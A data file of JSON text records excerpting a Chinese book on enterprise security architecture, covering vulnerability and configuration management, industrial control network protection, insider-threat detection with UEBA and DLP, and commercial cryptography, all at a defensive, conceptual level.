    {"text": "● 灵活的定制能力 与配置管理体系相匹配的系统还应具备根据各政企机构自身的安全需求进行灵活定制的能力，建立可以满足信息安全管理体系的安全配置要求的基线。"},
    {"text": "● 丰富的配置核查项 内置丰富的配置核查知识库、多种命令行库，使其覆盖市面上大部分设备，且系统支持自定义的核查项编写，能根据特殊设备情况编写适用的命令行，获取设备配置信息。 ● 核查项目自定义 提供可视化的编辑界面，可对核查项的标准值进行自定义修改，便于根据企业自身情况进行调整，增加核查的灵活度。 ● 基于规范模板的配置核查 系统内置丰富的配置安全规范，运维人员根据需要选用固定的规范模板，即可直接执行配置核查任务。"},
    {"text": "4.构建漏洞管理体系（参见图11.3中部 “漏洞管理”部分） 在测试环境中验证漏洞的存在情况以及漏洞修复方案的可行性，并得出漏洞修复的可行性结论。"},
    {"text": "通过漏洞扫描工具开展资产漏洞扫描，通过情报源获取漏洞情报数据，评估漏洞影响程度与漏洞修复优先级，且情报源应为多源综合的漏洞情报，避免单一情报源的漏洞信息遗漏。 通过资产版本号匹配、漏洞特征扫描、系统配置项对比，搜索出与漏洞信息相匹配的资产，建立漏洞与资产的关联关系，为漏洞修复方案提供全面且准确的基础。"},
    {"text": "5.构建系统漏洞缓解体系 建设补丁管理系统，并进行全周期管理，针对当前环境存在的配置不符合项与漏洞设计修复方案，并在测试环境验证。"},
    {"text": "6.建设系统安全运行平台（参见图11.3上方“安全运行平台”部分） 聚合资产、配置、漏洞、补丁等数据，持续监控信息系统的资产状态，并进行多维度数据的碰撞分析和关联分析，以分析配置符合性、漏洞状态等信息，判定风险环节优先级等。"},
    {"text": "通过资产信息与配置信息结合，分析出重要配置项的符合性结果、资产脆弱性以及重要补丁； 通过资产与补丁信息结合，分析出补丁视角的风险暴露结果； 通过将资产与漏洞数据结合，分析出漏洞视角的风险暴露结果。"},
    {"text": "7.与工单系统集成 建立与资产的所有者责任人、归属部门等相关联的漏洞修复或配置变更协同流程，并为IT运维人员提供脆弱性修复方案和操作手册，用于指导修复操作。"},
    {"text": "8.建立并管理例外处理清单（参见图11.3上方“整改修复与例外事项管理”部分） 对未能完成修复的漏洞以及无法整改的配置，应加入例外处理清单，并纳入风险管理，然后进行持续监测、关注，以免在后续的业务系统安全能力建设工作中出现同类的问题。"},
    {"text": "9.基于系统安全运行平台开展安全运行工作（参见图11.3右下方“服务运营”部分） 工作内容包括风险管理、资产安全配置管理、符合性评估、安全策略管理、漏洞管理、修复管理等。 系统安全运行平台是以软件作为交付物的综合性系统，依托大数据架构，支持多数据源处理，从第三方系统内汲取资产与问题数据，通过数据预处理中心进行数据的清洗、富化、聚合，最终得出企业需要管理的资产与问题，然后依托工作编排架构，与第三方系统进行互操作，实现问题的处置闭环，以及资产的漏洞、配置、补丁的第三方验证。"},
    {"text": "通过系统安全大数据平台工具，聚合IT资产、配置、漏洞、补丁等数据，通过对多方数据实现两两关联分析，将系统安全防护从过去依靠自发自觉的模式提升到体系化支撑模式，实现及时、准确、可持续的系统安全防护。 总体确保系统安全风险可控，保持良好的安全状况，为实战化安全运营提供支撑，实现系统级安全运行的闭环。"},
    {"text": "第12章 工业生产网安全防护 12.1 数字化转型与业务发展的新要求 12.1.1 工业联网带来新的安全挑战 工业控制系统（ICS）是工业生产网络的核心组成部分，由控制设备、传感执行设备、系统软件以及通信网络构成。"},
    {"text": "工业控制系统广泛应用于能源电力、石油化工、装备制造、交通运输、食品医药、供水与污水处理等各行业，是工业生产网络的神经中枢，一旦遭受网络攻击，将造成不可估量的损失，轻则影响生产，重则导致环境破坏、人员伤亡，甚至危及社会稳定与国家安全。 长期以来，工业生产网络采用物理隔离、专用硬件、私有协议、定制软件等措施保障工业控制系统的安全性，但因此也带来技术升级缓慢、成本高居不下等问题。 随着信息技术快速发展以及IT与OT的不断融合，通用协议、通用硬件和软件越来越多地应用于生产网络，对工业企业降本增效起到了显著的推动作用。 近年来随着第四次工业革命的蓬勃兴起，工业数字化、网络化、智能化发展成为不可阻挡的潮流趋势，5G、工业互联网等新技术迅猛发展，为工业企业转型升级构建起新的基础设施，提供了强大的推动力。 然而，安全隐患与技术革新相生相伴，工业生产网从封闭走向开放，设备联网，数据上云，工控设备、应用系统不可避免地与公共网络连接，生产数据高频度跨系统流动，给工业生产网络带来了前所未有的巨大安全风险。 由此，工业生产网络的安全防护从过去的隐性话题升级成为工业企业关注的焦点问题。 12.1.2 工业生产网面临的安全形势 1.攻击频繁影响大，手段专业方法多 工业互联网安全涉及工业控制、互联网、信息安全3个交叉领域，面临传统网络安全和工业控制安全双重挑战。"},
    {"text": "近年来，一系列针对工业控制系统的破坏性攻击被曝光，如2015年12月23日，乌克兰电力系统遭遇了大规模停电事件，数万“灾民”不得不在严寒中煎熬；"},
    {"text": "2016年11月17日晚，沙特阿拉伯遭遇了Shamoon 2.0的攻击，包括该国民航总局在内的6个重要机构的计算机系统遭到严重破坏。 Shamoon恶意程序首次现身于2012年8月，当时的攻击致使石油巨头Saudi Ameraco公司大约3万台计算机中的文件损毁。"},
    {"text": "2.工业控制系统广暴露，安全漏洞难修补 工业控制系统在互联网上的暴露问题是工业互联网安全的一个基本问题。 所谓“暴露”，是指我们可以通过互联网直接对某些与工业控制系统相关的工业组件，如工业控制设备、协议、软件、系统等，进行远程访问或查询。"},
    {"text": "根据中国国家信息安全漏洞共享平台（CNVD）最新统计，截至2019年12月，CNVD收录的与工业控制系统相关的漏洞高达2306个，2019年新增的工业控制系统漏洞数量达到413个，基本与2018年持平。"},
    {"text": "CNVD工控新增漏洞年度分布如图12.1所示。 图12.1 2000——2019年CNVD收录的新增工控系统漏洞数量 （资料来源：工业控制系统安全国家地方联合工程实验室） 漏洞在增多，且修复难度很大。"},
    {"text": "为保证工业控制系统的可靠性，现场工程师通常不会对Windows平台打任何补丁，打过补丁的操作系统也很少会再经过工业控制系统原厂或自动化集成商进行测试，因此存在可靠性风险。 但是，系统不打补丁就会存在被攻击者利用的安全漏洞，即使是普通的常见病毒也容易感染，从而可能造成Windows平台乃至控制网络的瘫痪。"},
    {"text": "另外，对于分布式的大型工业互联网，人们为了控制、监视的方便性，常常会开放VPN tunnel等方式的接入，甚至直接开放部分网络端口，这也给黑客的入侵带来了方便。"},
    {"text": "出于对工业控制软件与杀毒软件兼容性的担心，操作站（HMI）中通常不安装杀毒软件，即使安装有防病毒产品，其基于病毒库查杀的机制在工业互联网领域中也有局限性。"},
    {"text": "针对工业互联网存在的安全问题，业界也早已提出了一些安全防护架构和管理策略，其中典型的代表是NIST SP800-82、IEC 62443等国际工业互联网领域指导性文献的纵深防御架构。"},
    {"text": "虚拟区域边界部署防御，如防火墙、网闸、安全远程访问VPN等，这些设备或技术只能实现对部分已知规则的防御，进行及时动态更新的难度较大。"},
    {"text": "但是，在工业互联网中，为保证可用性、稳定性，很难做到在线扫描或实时扫描，而且即使扫描到了漏洞，企业也可能会因为担心系统的可用性和稳定性被破坏，而最终选择放弃补丁升级。"},
    {"text": "因此，工业互联网实际上需要建立一种能够跨越物理世界（包括直接可观测性）、网络世界（包括保留数据的使用权）和商业世界（包括产权和订立合同的权利）的一体化安全手段，并且可以对攻击进行追踪和溯源。"},
    {"text": "12.1.3 传统安全防护机制不适用于工业生产网 工业生产网络在技术标准遵循、功能优先设定、安全管理目标等多方面与传统IT网络存在显著差异，因此不能照搬传统网络安全防护方案，必须根据工业生产的特点采用新的安全框架和防护措施。 工业企业中常见的安全措施包括安装通用杀毒软件、通过双网卡隔离信息网与控制网、部署通用防火墙来防范网络攻击等，这些安全措施无法应对日益复杂的工业网络威胁，存在的主要问题如下。 ● 传统杀毒软件不适用于工业主机安全防护 工业主机是工业网络的高危攻击点，在生产优先、专机专用、够用即可等原则下，工业主机普遍存在硬件低配、系统老旧、不打补丁、软件定制等工业领域特有的问题，通用杀毒软件很难适配，实践中发生过多起工业软件被误杀的案例，因而许多工业主机宁愿“带病运行”，也不安装杀毒软件。 ● 传统防火墙不适用于工业网络边界防护 传统的防火墙、网闸等网关设备，在工业环境中面临两大挑战：硬件设计不适应工业现场DIN导轨安装方式（一种工业标准，元件设备可方便地卡在导轨上而无须用螺丝固定；"},
    {"text": "● 传统审计系统不适用于工业网络监测预警 由于传统的网络审计设备不能识别工控资产，不了解工控系统漏洞，对于针对工控系统的攻击行为、异常操作都无法识别，无法提供有价值的工业安全审计与异常报警。"},
    {"text": "从实践来看，较多工业企业基本不进行OT安全评估，即使进行OT安全评估，也是由IT安全服务商执行。 而IT安全评估通常不包括OT网络的过程层和控制层，即使对这两层进行评估，也只能采用问卷方式，不能使用自动化工具。"},
    {"text": "未知 12.2.1 基本概念 1.工业生产网 工业生产网的范围伴随生产自动化、信息化的发展不断扩展，早期的生产网通常指狭义的工业控制系统及其通信网络，但随着产业水平不断提高，生产管理与经营分析需要及时获取生产过程数据，以及对生产过程进行控制管理，因此控制网络需要与企业管理网络联通以便交换数据，与生产过程相关的管理系统（如MES）、数据库服务器也纳入到工业生产网范畴。 在实践中，工业生产网已形成了广获共识的层次结构模型，按功能分为5个层级，依次为企业资源层、生产管理层、过程监控层、现场控制层和现场设备层，如图12.2所示。 图12.2 工业生产网分层模型 ● 企业资源层主要包括ERP系统功能单元，用于为企业提供决策运行手段。 ● 生产管理层主要包括MES系统，用于对生产过程进行管理，如制造数据管理、生产调度管理等。 ● 过程监控层主要包括监控服务器与HMI系统功能单元，用于对生产过程数据进行采集与监控，并利用HMI系统实现人机交互。 ● 现场控制层主要包括各类控制器单元，如PLC、DCS控制单元等，用于对各执行设备进行控制。 ● 现场设备层主要包括各类过程传感设备与执行设备单元，用于对生产过程进行感知与操作。"},
    {"text": "随着工业互联网的发展，工业生产网的范围得到进一步扩展，工业互联网通过人、机、料、法、环 [2] 的全面互联，实现工业生产全要素、全产业链、全价值链的连接，推动新一代信息通信技术与工业经济深度融合。"},
    {"text": "传统的游离于生产过程之外的企业经营活动，比如客户需求分析、产品设计改进、合作伙伴协同、市场营销拓展等，也与生产管理与过程控制紧密地联系起来。"},
    {"text": "与此相适应，生产网在网络结构和技术形态上也将发生重大变化，5G和TSN（时间敏感网络）技术将逐步替代现有庞杂的工业总线和WiFi网络，生产过程的实时监控与反馈控制将推动企业建设边缘计算中心，生产大数据的分析处理将优先在边缘云处理，经过协议转换和归一处理的汇总数据再上传至工业互联网平台。 在工业互联网新场景下，传统生产网与企业边缘计算中心将构成工业生产网的新形态。"},
    {"text": "2.工业生产网安全防护 工业生产网的安全可以从工业生产和网络连接两个视角分析。 从工业生产视角看，安全的重点是保护智能化生产的连续性、可靠性，关注智能装备、工业控制设备及应用系统的安全； 从网络连接视角看，安全主要保障个性化定制、网络化协同以及服务化延伸等边缘云计算的安全运行，防止重要数据泄露，保护工业App安全，并提供持续的服务能力。"},
    {"text": "● 防护对象范围更大，安全场景更丰富 包含设备安全（工业智能装备及系统）、控制安全（SCADA、DCS等）、工业网络安全（工厂内、外网络）、应用安全（边缘计算云平台、工业软件及工业App等）以及数据安全（工业生产、平台承载业务及用户个人信息等数据）。 ● 网络安全和生产安全交织，安全事件危害更严重 工业控制网遭受攻击，将影响具体生产环节、生产流程的正常运行，而作为工业生产网大脑的边缘计算中心，一旦遭受攻击，除了信息泄露或数据篡改，还将引起大范围服务中断，使整个工厂的生产与经营陷入瘫痪。 12.2.2 设计思想 ● 贴合工业生产业务逻辑，实施内生安全策略 工业生产的网络安全风险来自生产过程的脆弱性，如工控系统漏洞、工艺过程缺乏安全设计等，因此实施安全防护策略时，必须充分考虑生产逻辑和要求，准确理解工控协议中具体指令的含义。"},
    {"text": "这要求产品的设计与策略的实施要充分考虑内生安全模式，把安全能力与业务过程融合起来，如硬件对环境的适配性、安全功能与工业软件的兼容性、极端情况下的安全逃生能力。"},
    {"text": "● 静态特征匹配与动态智能识别相结合的防护机制 相较于传统工控网络，新型工业生产网由于网络更开放，应用更复杂，传统静态的、基于特征匹配的防护机制已经不能有效应对新的挑战，必须增加动态的、基于行为识别的防御措施。"},
    {"text": "工业生产的模型相对固定，机器与机器之间通信的频率、数据、流量可以通过大数据分析进行建模，任何偏离模型基线的行为都可能意味着网络攻击。"},
    {"text": "12.2.3 总体架构 图12.3所示为一个典型的大型工业企业网络架构图，涵盖多个安全防护场景，主要包括工业控制网络、集团数据中心（边缘计算）和卫星通信网，每个区域内部以及区域边界都有多个安全策略实施点。"},
    {"text": "1.工业控制网络 即传统的生产控制网络，一般分布在大型集团企业的二级或三级单位，执行具体的生产任务。 图12.3 大型企业工业生产网安全建设框架 ● 工业控制网划分与连接 一个合理规划的控制网通常采用分层结构，现场设备、过程控制、生产管理分布在不同的层级。 现场控制设备通过工业总线彼此连通，控制设备与过程控制服务器通过工业以太网通信，过程控制层通过标准以太网与生产管理网交换数据，生产管理网通过专线连接集团总部，实现生产数据在集团层面的汇总管理。 ● 控制网内部安全防护 在控制网内部，所有工业主机和服务器安装安全防护软件，保护设备免受病毒攻击，网络不同层级之间部署工业防火墙（有些场景需要工业网闸）进行隔离防护，在流量汇聚点部署工业检测审计设备，实时检测网络入侵与异常操作，构成控制网内部的纵深防御体系。 ● 控制网边界防护 在控制网与办公网边界部署防火墙，防止办公网病毒或其他攻击流量进入控制网；"},
    {"text": "2.集团数据中心 随着工业互联网、5G、AI等新技术的发展，大型企业数据中心的技术架构逐渐向虚拟化、云化方向演进，除传统经营管理系统（如ERP、CRM）集中部署在集团总部数据中心外，一些生产过程管理系统、新型的工业App应用也逐渐迁移到集团数据中心，如MES系统、质量检测实时分析系统、AGV智能导航系统，由此构建起以边缘计算为中心的工业互联网企业侧计算环境。 工业生产数据在边缘服务器完成采集汇聚、协议转换、本地处理后，再统一上传至工业互联网平台。"},
    {"text": "态势感知平台汇总所有下属企业工控网络的流量数据与安全日志，自动识别工控资产类型与漏洞分布，统一分析威胁告警事件与安全风险，以大屏方式直观呈现全网工控安全态势与发展趋势，为工业安全风险应对与应急响应提供决策支撑。"},
    {"text": "VSAT（Very Small Aperture Terminal，甚小孔径终端，意译为“甚小天线地球站”，简称“小站”）小站组网是一种常见的卫星通信应用方式，具有灵活可靠、成本低、使用方便等特点，得到了广泛应用。"},
    {"text": "小站通过卫星与企业的主站（中心站，即卫星地面站）建立连接，可把作业环境与生产数据及时传送至企业总部，并从总部接收管理指令。 小站对外接入卫星链路，对内连接本地生产网络。"},
    {"text": "根据业务复杂程度不同，生产网可以是完整的分层控制网，也可以是以现场设备和过程控制为核心的简化网络，其面临的网络安全风险与前述工业控制网络相似，所采用的安全防护措施也基本一致。"},
    {"text": "12.2.4 关键技术 工业生产网防护场景复杂，设备与协议多样，涉及多项网络安全关键技术，组合成不同产品，共同构成一张完整的防护网，识别和抵御安全威胁，化解各种安全风险，构建工业生产网的安全可信环境，保障工业生产稳定运行。"},
    {"text": "● 工业主机白名单控制 工业主机由于长期不间断运行，不能及时打补丁，并且受到联网条件的限制，无法实时更新病毒库，因此传统杀毒机制不适用于工业主机。 比较有效的方式是采用白名单控制技术，对工业软件相关的进程文件进行扫描识别，为每个可信文件生成唯一的特征码，特征码的集合构成特征库，即白名单。 只有白名单内的软件才可以运行，其他进程都被阻止，以防止病毒、木马、违规软件的攻击。"},
    {"text": "● 工控协议识别与控制 为了保障数据传输的可靠性与实时性，工业生产网已发展了多套成熟的通信协议，主流的有几十种，大致分为工业总线协议和工业以太网协议两大类，如Modbus、S7、OPC、Profinet、IEC104等。 工控协议的识别能力是安全设备工作的基础，也是评价产品能力的重要指标。"},
    {"text": "因此工控安全产品对工控漏洞利用行为的识别能力，以及相应的防护能力，是工控安全防护能力建设的核心。 ● 工控网络流量采集与分析 获取网络流量是发现网络攻击的前提，流量采集与分析广泛应用于网络安全方案，是一项比较成熟的技术。 对于工控网络，除了基本的流量识别与统计分析外，还需要理解生产过程的操作功能码，根据业务逻辑判断是否发生异常。"},
    {"text": "● 工业网络安全态势感知 态势感知是安全防御的重要手段，对于工控网络，通过安全态势感知平台，可以直观地了解网络中的资产分布、漏洞分布、网络攻击事件，对网络的整体风险水平进行量化评估。 态势感知平台需要多种核心能力支持，包括完善的数据获取能力、大数据分析与建模能力、网络攻击溯源分析能力、安全事件闭环处理能力等，是工控网络安全防护的核心产品。"},
    {"text": "整体上，在工控网络内部合理划分安全区域，构建工控主机安全防护体系，建设工控网络安全监测系统，建立安全纵深防御体系。 在工控网络与IT网络边界设置网络隔离与访问控制点，过滤来自IT网的非法访问；"},
    {"text": "在总部数据中心设置工业互联网数据交换安全接入区，实施身份认证与数据完整性控制措施，保障数据传输的安全； 在集团总部数据中心建设工业安全态势感知平台，全面掌握工业生产网的安全态势。"},
    {"text": "● 建立工控网络纵深防御体系 对进出控制网的网络流量进行白名单控制，部署威胁检测、行为监测、访问控制以及安全审计设备，阻挡外网与控制网络的不安全通信。"},
    {"text": "● 加强工控主机安全防护 对工程师站、操作站（HMI）、SCADA服务器、MES服务器、实时数据库服务器等工业主机实施病毒查杀、白名单管控、系统加固、U盘与外设管控等安全措施，确保工业主机与服务器设备的稳定运行。 ● 建设工控网络远程访问安全接入点 在安全接入点对进出控制网的流量进行身份认证、数据加解密、访问控制以及威胁检测。"},
    {"text": "● 建设工业互联网安全接入点 在接入点对企业网与工业互联网平台之间的流量进行身份认证、数据加密、访问控制以及威胁检测。 控制网内通过无线（WLAN、4G/5G）发送的数据，则统一导流至边缘计算安全网关，保障联网的工业设备、工业应用免受互联网威胁，保障工业数据的安全传输与使用。 ● 建立工控网络安全监测体系 在控制网部署工业安全流量探针、日志探针，实时监测网络攻击行为，采集设备安全日志，获取工控资产、系统漏洞信息，监测非法设备接入（如非受控U盘、第三方运维设备）以及控制网设备非法外联。"},
    {"text": "所有监测数据汇总至工业安全态势感知平台，实现工控网络安全可视，满足法律合规要求。 ● 建设工业安全态势感知平台 采集工控网络的资产、漏洞、威胁、行为等数据，统一汇总至工业安全态势感知平台集中分析，并进行可视化呈现，实现对控制网的整体安全监控；"},
    {"text": "● 建立边缘计算云平台安全防护体系 在边缘计算中心搭建可持续运营的弹性的云安全管理与服务平台，覆盖云外南北向访问控制、云内东西向访问控制、主机防护、漏洞管理、Web安全防护以及流量与行为审计，通过虚拟安全资源池的方式为不同应用按需提供安全防护能力。"},
    {"text": "● 建设工控安全仿真验证平台 按照生产场景等比例搭建仿真环境，模拟实际生产控制过程，对工控网络安全进行全面渗透评估，对安全防护方案进行可行性研究与充分测试验证。 除了评估现网系统的安全，仿真平台还可以进行核心控制设备（PLC、DCS）的可靠性研究，以及工艺安全研究。"},
    {"text": "12.3.2 安全能力需要长期积累 工业生产网本身的技术复杂度、面临的安全威胁的多样性，以及安全事件造成的危害都对工业企业提出了非常高的安全能力要求。"},
    {"text": "安全保障体系建设本质上是安全能力的建设，全面、系统、有效的安全能力是安全保障体系建设的基础。 对于大多数工业企业来说，安全能力的建设绝非一日之功，需要长期建设和积累，需要与信息化业务系统同步规划、同步建设、同步运营，并在运营过程中不断优化完善。 最后，除网络安全技术保障措施外，工业网络安全管理制度、安全意识的提升、工业网络安全人才队伍的建设等，都是不可或缺的规划建设内容。"},
    {"text": "第13章 内部威胁防护体系 13.1 数字化转型与业务发展的新要求 13.1.1 数字化转型扩大了内部威胁的范围 2012年，美国国土安全部计算机紧急事务响应小组（US-CERT）提出了针对内部威胁的完整定义，业内对内部威胁有了相对统一的认知。"},
    {"text": "US-CERT指出，内部威胁攻击者一般是指企业或组织的员工（在职或离职）、承包商以及商业伙伴等，他们具有企业或组织的系统、网络以及数据的访问权； 内部威胁就是内部威胁攻击者利用合法获得的访问权对企业或组织信息系统中信息的机密性、完整性以及可用性造成负面影响的行为。"},
    {"text": "例如，2020年年初，国内某知名大型互联网公司的一个供应商的开发人员，因与公司发生矛盾，竟然在后台恶意删除了大量用户数据，直接导致该互联网公司上千万用户的相关服务被中断。"},
    {"text": "Securonix公司发布的《2020年内部威胁报告》中指出，计划离职的员工中，超过80%的人可能随身带走一些敏感的信息，这些人士涉及60% 的内部网络安全和数据泄露事件，他们往往会在离开之前的2～8周开始窃取数据。"},
    {"text": "13.1.3 传统网络安全防护体系的问题 传统的网络安全防护体系注重安全边界的保护，容易忽视内部威胁的防护。 传统的网络安全防护手段更多基于单点的监测和防护，对于风险场景更复杂、与业务关系更紧密的内部威胁来说，安全能力非常有限。 传统的网络安全防护体系在面对内部威胁时，所暴露出的问题主要是由内部威胁的特点决定的。 与外部威胁相比，内部威胁具有以下特点。 ● 危害和损失更严重 由于内部人对组织结构、业务系统和相关知识更加了解，更容易获取系统权限，更容易接触到核心资产，更容易摆脱安全体系的防护，因此使得内部威胁造成的损失和危害更严重。"},
    {"text": "美国CSI（Computer Security Institute，计算机安全协会）与美国FBI（Federal Bureau of Investigation，联邦调查局）早在2008年，就在《计算机犯罪和安全调查》中对信息安全事件的来源进行了统计，发现内部安全事件所造成的损失明显要高于外部事件。"},
    {"text": "● 检测和防护更困难 ▷ 缺乏可见性 内部威胁来自组织内部，与外部威胁需要面对网络安全边界的层层防护不同，由于内部防护手段薄弱，内部威胁攻击者对于传统边界安全设备具有天然的透明性，相当于进入一个自由的世界随意发挥自己的破坏能力。"},
    {"text": "▷ 检测难度大 内部威胁攻击者（包括在职/离职员工、供应商和商业伙伴等）拥有内部信息系统的访问权限，恶意行为往往隐藏于正常业务行为中。"},
    {"text": "13.2 什么是内部威胁防护体系 13.2.1 基本概念 内部威胁防护体系是基于内部威胁的特征和企业（或组织）自身特点，针对内部威胁构建的安全管控体系。 内部威胁防护体系包括：作为体系核心的内部威胁感知平台；"},
    {"text": "13.2.2 设计思想 通过研究大量内部威胁事件，可梳理出内部威胁的发生基本都遵循一个模型，即人、触发条件、行为、目标、结果的行为模型（见图13.1）。"},
    {"text": "行为元素即条件触发后，攻击者在现实和虚拟环境中一定会表现出针对信息系统或信息资产的偏离正常行为基线的举动。 目标元素即行为元素作用的客体，往往包括数据、信息系统等各类信息化环境中的对象。 结果元素则是异常行为导致信息系统或信息资产造成的负面影响，涉及机密性（如信息泄露）、完整性（如数据篡改）和可用性（如系统攻击）。"},
    {"text": "平台通过异常行为模型和算法进行内部威胁风险监测，并基于事件持续评估内部人员风险。 系统基于历史事件总结和业务梳理，针对内部欺诈、权限滥用、数据窃取、意外泄露、系统破坏等内部威胁类型建立场景化的异常行为分析模型； 结合身份安全系统和业务特点对特权用户、合作伙伴、普通员工等不同风险等级的内部人员，制定有针对性的分析策略，形成更准确、有效的风险分析和识别能力，以期能够更准确、更快速地发现内部威胁攻击事件。 13.2.3 总体架构 内部威胁防护体系以内部威胁感知平台为核心，通过收集应用系统中的管理日志和业务行为日志、IT系统中的系统日志、网络边界的DLP数据、身份安全系统中的用户信息/权限数据/特权账号数据、态势感知平台的数据安全和终端安全等数据，结合场景、模型、策略的分析，实现用户行为检测、风险用户管理、风险事件管理、异常告警管理、安全事件追溯，并且可以将内部威胁告警反馈回态势感知平台，如图13.2所示。 图13.2 内部威胁防护体系总体架构 13.2.4 关键技术 1.用户和实体行为分析（UEBA）技术 UBA（用户行为分析）由Gartner于2014年首次提出并将其定义为一类网络安全工具，用于分析网络空间中的用户行为，并应用高级分析技术来检测异常恶意行为。"},
    {"text": "2015年，Gartner将其定义更新，增加了“E”，变为UEBA（用户和实体行为分析），增加除用户外的实体（如路由器、服务器和端点）的行为分析。 UEBA较UBA功能更强大，它可以分析包括用户、IT设备和IP地址等在内的行为，从而实现对复杂攻击行为的检测。"},
    {"text": "它采用业界先进的技术（如机器学习），用于识别、跟踪恶意用户在遍历企业环境时的行为，并通过一系列机器学习算法检测偏离用户规范的操作。"},
    {"text": "2.数据泄露防护（DLP）技术 DLP技术能够通过对数据进行内容识别，对传输、存储、使用中的数据进行检测，依据预先定义的策略来实施特定响应。"},
    {"text": "● 网络DLP：在网络出口或安全域边界识别、控制传输中的敏感数据，控制或监视通过HTTP/HTTPS、SMTP/SMTPS、FTP等网络协议传送的敏感数据。 ● 终端DLP：发现、识别、监控计算机终端的敏感数据；"},
    {"text": "● 存储DLP：对存储在服务器、数据库、存储库中的结构化数据和非结构化数据进行扫描，根据策略发现、记录敏感数据，并对违规存储事件报警。"},
    {"text": "13.2.5 预期效果 内部威胁防控体系建成后，能够通过内部威胁感知平台实现用户行为检测、风险用户管理、风险事件管理、异常告警管理、安全事件追溯等功能。 13.3 内部威胁防护体系建设要点 13.3.1 内部威胁防护体系建设的前置条件 在建设内部威胁防护体系之前，需要企业（或组织）已经完成安全项目的基本建设。"},
    {"text": "采集态势感知平台中存储的DLP日志、数据访问日志、数据加密日志、终端内容日志、终端行为日志、终端DLP日志、网络流量日志、安全设备日志等信息。"},
    {"text": "因此需要提前建设好相关的身份管理与访问控制平台、系统安全平台、态势感知平台、终端安全防护平台、数据安全管理平台。 在采集安全数据的同时，也会采集应用系统的应用管理日志、业务行为日志、IT系统的IT系统日志等信息，也同样需要对接IT运维管理系统。"},
    {"text": "网络DLP系统可从网络流量中采集数据内容级别的检测日志和数据泄露事件日志，日志数据可作为一种重要数据源汇总至平台用于执行内部威胁分析。"},
    {"text": "13.3.3 数据采集 在内部威胁防护体系中，数据是最重要的要素之一，是感知内部威胁的前提，是威胁分析的基础，因此建立完善的数据采集方案，获取高质量的日志数据是构建内部威胁防护体系的重要一环。 ● 主体数据 人是内部威胁的主体，内部威胁检测围绕人的行为进行大数据分析，因此需要把人的要素进行系统化的梳理。"},
    {"text": "人的要素中会有个人的属性，如性别、年龄、家庭情况、病史、职位、绩效、考勤和人际关系等，这类数据可作为心理状态评估的原始依据，可从人力系统、考勤系统、办公系统等业务系统中获取。"},
    {"text": "针对用户行为数据的采集和汇总，可使用网络DLP采集网络敏感数据日志，从身份安全系统导入人员信息、权限数据、特权账号数据，从态势感知平台导入网络日志数据，从数据安全平台导入数据安全相关日志，从终端安全系统导入终端行为和操作日志，从应用系统和IT系统导入应用操作日志和系统日志。"},
    {"text": "13.3.4 内部威胁感知平台 内部威胁感知平台基于终端日志、网络日志、应用日志、数据安全日志、系统日志等数据，形成大数据建模分析能力。 再利用机器学习、UEBA等技术，从身份、设备、权限、行为等多个维度分析安全风险，生成告警，及时有效预警内部威胁事件。"},
    {"text": "内部威胁检测需要与场景相结合，风险场景是某类异常的集合，往往与业务强相关，需要大量的模型积累和专家知识，并通过场景定义和规则/策略的结合，才能形成适用于业务环境的分析模型组合。 平台根据内部威胁的特征，建立场景化的分析模型，有效应对内部欺诈、权限滥用、数据窃取、意外泄露、系统破坏等多种内部威胁类型。"},
    {"text": "在新环境下，分析方法越来越丰富，从基础的规则分析到基线分析、关联分析，再到机器学习、人工智能、社区发现等算法和技术，都可以在内部威胁感知平台中得到应用。"},
    {"text": "因此内部威胁防护体系的建设，除完善的技术手段和庞大的经济投入外，还需要建立职责明确的内部威胁安全管理组织，制定完善系统的信息安全管理制度，并在此基础上建立内部人员管理和培训机制。"},
    {"text": "人员管理制度应包括员工认同、激励机制、心理疏导等，培训内容除安全制度外还应包括风险认知、安全意识、法律意识、价值观文化认同、情绪管理等。"},
    {"text": "第14章 密码专项 14.1 数字化转型与业务发展的新要求 14.1.1 新技术新业务发展挑战 密码作为保护网络与信息安全的重要手段，在身份识别、安全隔离、信息加密、完整性保护和抗抵赖等方面发挥着不可替代的重要作用。"},
    {"text": "在商用密码领域，国产密码产业涉及以基础密码设备为主的硬件产品以及以安全信息系统为主的软件产品，并衍生出相关安全运维服务，广泛应用于金融、政务、通信等领域。 我国关键信息基础设施建设和各领域信息化、智能化的业务发展，以及《中华人民共和国网络安全法》《中华人民共和国密码法》的颁布实施，对各领域的密码应用提出了新的挑战。"},
    {"text": "在金融方面，2013年，中国人民银行发布《中国金融集成电路（IC）卡规范》，首次支持SM算法； 2014年，中国银联修订发布《中国银联金融IC卡技术规范》，对SM算法提供了支持。 自此，金融IC卡开始试点应用SM算法并逐步规模化应用。"},
    {"text": "密码技术的应用尽管可以有效地实现身份认证和数据加密，但仍需解决低延时、高可靠、低功耗等需求，针对不同行业和领域的工业及物联网密码应用，需要定制化的解决方案。"},
    {"text": "在车联网领域，通过建设证书认证系统、授权管理系统、密钥管理系统，可为智能运输系统提供身份鉴别、授权管理、安全传输、数据保护、责任认定和安全管理等安全服务。"},
    {"text": "在云密码服务方面，云计算技术和产业的发展，以及业务的服务化转型，对传统的密码技术和产品提出新的挑战。 如何实现密码能力的虚拟化、资源化、服务化成为密码发展的重要挑战。 云密码服务是一种全新的密码功能交付模式，是云计算技术与身份认证、授权访问、传输加密、存储加密等密码技术的深度融合。 密码服务提供商按照云计算技术架构的要求整合密码产品、密码使用策略、密码服务接口和服务流程，将密码系统的设计、部署、运维、管理、计费等组合成一种服务，来解决用户的密码应用需求。 用户不再“购买”密码硬件或密码系统等密码产品，而是以“租用”的方式使用云中提供的各种密码功能，因此云密码服务也是一种新的商业模式。"},
    {"text": "随着网络安全与密码技术的不断演进，基于内生安全的密码与网络安全融合发展逐渐成为新的趋势。 14.1.2 基于内生安全的密码与网络安全融合发展 在国家专项支持和应用需求的有力牵引下，我国密码技术和产品供给能力进一步提升，支持商用密码算法的密码产品已达1390多款，其中安全芯片127款。 密码产品的检测能力显著提升，信息系统的密码应用安全性评估试点逐步展开，首批10家密评机构已经由国家密码管理局认定，并稳步开展密码应用安全性评估试点工作。"},
